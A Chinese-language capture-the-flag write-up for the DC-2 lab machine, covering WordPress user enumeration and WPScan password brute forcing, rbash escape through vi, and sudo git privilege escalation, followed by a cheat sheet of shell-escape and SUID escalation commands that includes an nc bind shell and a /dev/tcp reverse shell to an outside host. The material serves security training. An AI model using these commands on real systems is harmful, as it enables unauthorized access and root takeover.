小H靶场学习笔记:DC-2

DC-2

Created: November 10, 2023 3:01 PM
Tags: WordPress, git提权, rbash逃逸
Owner: 只会摸鱼

靶场过程

信息收集

  • 扫描存活主机,找到靶机ip:192.168.199.131(本机是192.168.199.129)
    在这里插入图片描述

  • 扫描端口开放协议

    在这里插入图片描述

    • 发现有80端口和7744,但80端口有重定向,尝试直接访问无法访问。 因重定向页面为http://dc-2/,固修改/etc/hosts文件,将靶机ip绑定在该网址,再次直接访问,可正常跳转。
      在这里插入图片描述
      在这里插入图片描述
  • 指纹识别
    在这里插入图片描述

    • 可尝试利用WordPress4.7的漏洞
    • 使用msf模块利用无果
  • 返回页面查看是否有其他信息提示

    • 发现了页面提供了flag提示信息
      在这里插入图片描述
      在这里插入图片描述

    • 提示了使用cewl 得到字典, 使用尝试使用身份登录

    kali密码攻击工具——Cewl使用指南 | 码农网

漏洞利用

  • 后台目录爆破一下,发现有login页面,访问一下,跳转到登陆页面。

在这里插入图片描述

在这里插入图片描述

  • 使用cewl输出字典,到文件dicts.txt
    在这里插入图片描述

  • 因使用的是WordPress,可使用专门针对此CMS的工具WPScan进行枚举用户名,并爆破。

    • 枚举用户名,得到三个用户。
      在这里插入图片描述
      在这里插入图片描述
  • 逐个对三个用户进行密码爆破。

    • wpscan --url dc-2 -U ‘admin,jerry,tom’ -P ~/Desktop/dicts.txt
      在这里插入图片描述

    • 只有jerry 和tom爆破出了密码

  • 尝试登录,jerry登陆成功,找到第二个flag
    在这里插入图片描述

    • 翻译一下,让寻找其他切入点,没办法,只剩下了7744端口的ssh服务了

在这里插入图片描述

提权

  • 尝试ssh登录,使用jerry和tom账号,使用jerry账号和密码,无论怎么尝试都无法登录,尝试使用tom账号和密码,成功登录。

    在这里插入图片描述

    • 尝试一些命令,发现都没有权限
      在这里插入图片描述
  • 应该是rbash,尝试rbash逃逸

    • 查看有哪些命令权限
      在这里插入图片描述

    • 使用vi设置shell

      • 直接输入vi进入编辑器页面,按esc+:输入命令set shell=/bin/bash回车后在输入:shell
        在这里插入图片描述
        在这里插入图片描述

      • 回车后会弹出如下页面,即成功,接下来要配置环境变量以正常执行命令。
        在这里插入图片描述

      • 配置完,即可正常执行shell命令
        在这里插入图片描述

      • 查看flag3文件,发现提示,让使用登录tom后用su命令切换到jerry

        在这里插入图片描述

      • 使用jerry的密码尝试登陆,发现成*
        在这里插入图片描述

  • 查找flag文件

    • find / -name “*flag*”
      在这里插入图片描述

    • 找到了flag4,得到了提示, git 提权
      在这里插入图片描述

    • 使用sudo git help config打开config页面

      • 输入!/bin/bash

        在这里插入图片描述

    • 回车后,弹出root交互shell,即成功,找到最后的flag读出。

      在这里插入图片描述

rbash逃逸

rbash是什么

它与一般shell的区别在于会限制一些行为,让一些命令无法执行。

简单理解就是最低权限的用户

如何设置rbash

cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令

逃逸方法

枚举Linux环境(为逃逸rbash做信息收集)

echo $PATH # 弹出当前PATH环境变量

echo 路径+ /* #路径使用最后为bin目录的,以找到当前所有可以执行的程序命令

常用逃逸技术

nmap

适用版本:nmap2.02至5.21

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中 通过如下命令提权

nmap> !sh

msf当中也有利用nmap进行提权的模块

exploit/unix/local/setuid_nmap

find

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

提权如下:

#进入shell
find anyfile -exec '/bin/sh' \; 或者 find anyfile -exec '/bin/bash' \;
#其中find 常用
find / -exec '/bin/bash' \; 或者 find / -exec '/bin/sh' \;

linux一般都安装了nc 我们也可以利用nc 广播或反弹shell

广播shell:

find user -exec nc -lvp 4444 -e '/bin/sh' \; 
#或者
find user -exec nc -lvp 4444 -e '/bin/bash' \; 

在攻击机上:

nc 靶机ip 4444

反弹shell

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

nc -lvvp 4444

Vim

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny  /etc/passwd

通过vim进入shell

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

设置环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

Vi

通过vi进入shell

vi
#vi命令
:set shell = '/bin/sh' 或者 :set shell='/bin/bash'
:shell

设置环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

Bash

  • 方法一

BASH_CMDS设置shell

BASH_CMDS[x]=/bin/bash
#设置了个x变量shell
x
#相当于执行shell

设置一下环境变量

export PATH=$PATH:/bin/export PATH=$PATH:/usr/bin/
  • 方法二

以下命令将以root身份打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

less命令也可以进入shell

less /etc/passwd
#在less中输入:
!/bin/sh 或者 !/bin/bash

more

more命令进入shell和less相同

more /etc/passwd
#在more中输入:
!/bin/sh 或者 !/bin/bash

要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano

nano也算是比较上古的文本编辑器了

nano进入shell的方法为

nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令

cp

使用cp 命令覆盖原来的/etc/passwd文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

Git提权

  • 前提是执行sudo -l 提示不需要密码可以使用git命令

    在这里插入图片描述

方法一

sudo git help config #在末行命令模式直接输入 
!/bin/bash 或 !'sh' #完成提权

方法二

在这里插入图片描述

sudo git -p help #弹出help信息窗口
!/bin/bash #输入后,即可打开一个用户为root的shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/142328.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

支持向量机基本原理,Libsvm工具箱详细介绍,基于支持向量机SVM的人脸朝向识别

目录 支持向量机SVM的详细原理 SVM的定义 SVM理论 Libsvm工具箱详解 简介 参数说明 易错及常见问题 完整代码和数据下载链接: 基于支持向量机SVM人脸朝向识别(代码完整,数据齐全)资源-CSDN文库 https://download.csdn.net/download/abc991835105/88527821 SVM应用实例, 基…

2023nacos源码解读第3集——nacos-client核心功能之微服务调用和配置管理测试

文章目录 1、测试项目2、项目注意事项3、 测试核心功能3.1 测试服务调用与负载均衡3.2 测试配置监听 4、参考文档 1、测试项目 项目地址 nacos-service-a nacos-service-b 2、项目注意事项 项目初始化可以使用aliyun spring initializer ,以更方便的使用springcloud alibaba…

hive里因为列名用了关键字导致建表失败

代码 现象 ParseException line 6:4 cannot recognize input near percent String COMMENT in column name or primary key or foreign key 23/11/13 11:52:57 ERROR org.apache.hadoop.hive.ql.Driver: FAILED: ParseException line 6:4 cannot recognize input near percent …

oracle 不支持的字符集 orai18n.jar ZHS16GBK 异常问题解决

项目场景: 项目中有使用到oracle数据库来存在数据。 问题描述 在使用查询语句是,oracle会报错。 java.sql.SQLException: 不支持的字符集 (在类路径中添加 orai18n.jar): ZHS16GBK 原因分析: 经排查发现缺少oracle字符集的依赖包导致的。…

雷达测角原理、测角精度、测角分辨率以及3DFFT角度估计算法汇总

1.角度测量方法 依据:电磁波的直线传播和雷达天线的方向性。 分类:振幅法测角、相位法测角 1.1 相位法测角 相位法测角利用多个天线所接收回波信号之间的相位差进行测角。如下图所示; 图 1 设在θ方向有一远区目标,则到达接收点…

一个破单机,也要用远程缓存?

大家好,豆小匠终于开始Coding了,这期来聊聊实战相关的杂谈。 正文开始! 作为编程萌新的时候,总想着把程序做复杂,堆技术栈。 但是程序是为场景服务的,比如,我想提高接口的响应速度&#xff0c…

Vue3集成json-editor-vue3

安装依赖 npm install json-editor-vue3 --save引入 main.js import "jsoneditor";具体模块 import JsonEditorVue from json-editor-vue3;代码实现 <json-editor-vue ref"jsonEditor" class"editor" v-model"state.addFormField.p…

Linux应用层点亮硬件的LED灯

一 应用层操作硬件的两种方法 应用层想要对底层硬件进行操控&#xff0c;通常可以通过两种方式&#xff1a; /dev/目录下的设备文件&#xff08;设备节点&#xff09;&#xff1b;/sys/目录下设备的属性文件。 具体使用哪种方式需要根据不同功能类型设备进行选择&#xff0c;通…

docker应用实例及dockerfile

实际应用 神经网络项目由x86cpu的linux环境移到arm cpu架构上运行&#xff0c;使用docker进行测试以及环境配置。 docker load -i 镜像压缩文件.tar docker load -i命令用于从一个压缩的镜像存档文件&#xff08;通常是以.tar扩展名结尾&#xff09;中加载镜像到本地Docker引擎…

API支付接口

在数字化时代&#xff0c;API&#xff08;Application Programming Interface&#xff0c;应用程序编程接口&#xff09;支付接口已成为电子商务和移动支付领域的核心技术。它们作为软件之间的桥梁&#xff0c;使得商家能够无缝地整合各种支付服务&#xff0c;从而为消费者提供…

vscode设置vue3代码格式化

vscode设置vue3代码格式化 vscode设置vue3代码格式化 下载插件设置格式化时选用的插件实际使用 使用Prettier默认配置使用Prettier添加自定义配置使用Volar 完整配置文件参考链接 下载插件 可以使用Volar或Prettier 设置格式化时选用的插件 mac&#xff1a;【shift】【op…

【C++】类与对象 I

类与对象 I &#xff1a; 前言&#xff1a;&#xff08;C&#xff09;面向过程 和&#xff08;C&#xff09;面向对象 初步认识前言&#xff1a;类的引入一、类的介绍二、类的定义&#xff08;一&#xff09;class 语法&#xff08;二&#xff09;类的两种定义方式&#xff1a;…

【MySql系列】深入解析数据库索引

写在前面 MySQL索引是数据库中一个关键的概念&#xff0c;它可以极大地提高查询性能&#xff0c;加快数据检索速度。但是&#xff0c;要充分发挥索引的作用&#xff0c;需要深入理解它们的工作原理和使用方式。 在本文中&#xff0c;我们将深入解析MySQL索引&#xff0c;探讨它…

JavaWeb——CSS3的使用

目录 1. CSS概述 2. CSS引入方式 3. CSS颜色显示 4. CSS选择器 4.1. 元素&#xff08;标签&#xff09;选择器 4.2. id选择器 4.3. 类选择器 4.4. 三者优先级 5. 盒子模型 1. CSS概述 CSS&#xff0c;全称为“Cascading Style Sheets”&#xff0c;中文译为“层叠样式…

除了http还有哪些通信协议?

除了HTTP协议外&#xff0c;还存在许多其他通信协议。以下是一些常见的通信协议&#xff1a; 1&#xff1a;HTTPS&#xff1a;HTTPS&#xff08;HTTP Secure&#xff09;是HTTP的安全版本&#xff0c;通过使用SSL&#xff08;Secure Sockets Layer&#xff09;或TLS&#xff0…

三、Vue3中使用Pinia修改State的方法

修改Pinia仓库的值有5种方式 src/store/index.ts import { defineStore } from pinia; import { Names } from ./store-name; export const useTestStore defineStore(Names.Test, {state:()>{return {current:1111,name: 小满111}},getters:{ // 类似computed计算属性 同…

OpenMediaVault控制台web页面密码重置

要重置 OpenMediaVault&#xff08;OMV&#xff09;Web 控制台的密码&#xff0c;可以使用 omv-firstaid 命令行工具中的相应选项。按照以下步骤进行操作&#xff1a; 以管理员权限登录到 OMV 的命令行界面&#xff08;通过 SSH 或直接登录&#xff09;。 ssh登陆到root用户 运…

ubuntu 怎么安装图形界面

ubuntu 安装图形界面的方法&#xff0c;可以通过以下步骤操作来实现&#xff1a; 1、确认版本首先登录一下服务纯缺器ubuntu&#xff0c;查看系统版本。然后用root账号登录&#xff0c;如下图所示&#xff1a; 2、更新apt-get首先要先更新一下apt-get源&#xff0c;输入apt-g…

k8s实践

k8s作为分布式集群部署方案&#xff0c;是一个主流的部署方案。 1. 服务器配置 至少准备3台服务器&#xff0c;首先修改服务器名称 hostnamectl set-hostname k8s-master hostnamectl set-hostname k8s-node1 hostnamectl set-hostname k8s-node2然后关闭防火墙和selinux s…

Linux安装java jdk配置环境 方便查询

编辑/etc/profile文件&#xff1a; vim /etc/profile 在文件尾部添加如下配置&#xff1a; export JAVA_HOME/usr/local/jdk1.8.0_161/ export CLASSPATH.: J A V A H O M E / j r e / l i b / r t . j a r : JAVA_HOME/jre/lib/rt.jar: JAVAH​OME/jre/lib/rt.jar:JAVA_HOME/l…